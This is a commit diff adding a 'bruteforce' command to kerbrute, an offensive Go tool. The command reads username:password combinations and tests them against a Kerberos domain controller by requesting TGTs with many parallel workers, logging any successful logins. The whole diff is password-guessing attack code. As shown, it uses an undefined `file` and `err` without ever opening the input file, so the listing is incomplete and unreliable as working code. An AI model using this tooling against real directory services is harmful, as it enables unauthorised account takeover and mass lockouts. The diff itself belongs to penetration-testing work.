actually add the command

cmd/bruteforce.go

@@ -0,0 +1,78 @@
+package cmd
+
+import (
+	"bufio"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/ropnop/kerbrute/util"
+	"github.com/spf13/cobra"
+)
+
+// bruteuserCmd represents the bruteuser command
+var bruteForceCmd = &cobra.Command{
+	Use:   "bruteforce [flags] <user_pw_file>",
+	Short: "Bruteforce username:password combos, from a file or stdin",
+	Long: `Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack using Kerberos Pre-Authentication by requesting at TGT from the KDC. Any succesful combinations will be displayed.
+If no domain controller is specified, the tool will attempt to look one up via DNS SRV records.
+A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce.
+WARNING: failed guesses will count against the lockout threshold`,
+	Args:   cobra.ExactArgs(1),
+	PreRun: setupSession,
+	Run:    bruteForceCombos,
+}
+
+func init() {
+	rootCmd.AddCommand(bruteForceCmd)
+}
+
+func bruteForceCombos(cmd *cobra.Command, args []string) {
+	combolist := args[0]
+	stopOnSuccess = false
+
+	combosChan := make(chan [2]string, threads)
+	defer cancel()
+
+	var wg sync.WaitGroup
+	wg.Add(threads)
+
+	if err != nil {
+		logger.Log.Error(err.Error())
+		return
+	}
+	defer file.Close()
+
+	for i := 0; i < threads; i++ {
+		go makeBruteComboWorker(ctx, combosChan, &wg)
+	}
+	scanner := bufio.NewScanner(file)
+
+	start := time.Now()
+
+Scan:
+	for scanner.Scan() {
+		select {
+		case <-ctx.Done():
+			break Scan
+		default:
+			comboline := scanner.Text()
+			username, password, err := util.FormatComboLine(comboline)
+			if err != nil {
+				logger.Log.Debug("[!] Skipping: %q - %v", comboline, err.Error())
+				continue
+			}
+			combosChan <- [2]string{username, password}
+		}
+	}
+	close(combosChan)
+	wg.Wait()
+
+	finalCount := atomic.LoadInt32(&counter)
+	finalSuccess := atomic.LoadInt32(&successes)
+	logger.Log.Infof("Done! Tested %d logins (%d successes) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds())
+
+	if err := scanner.Err(); err != nil {
+		logger.Log.Error(err.Error())
+	}
+}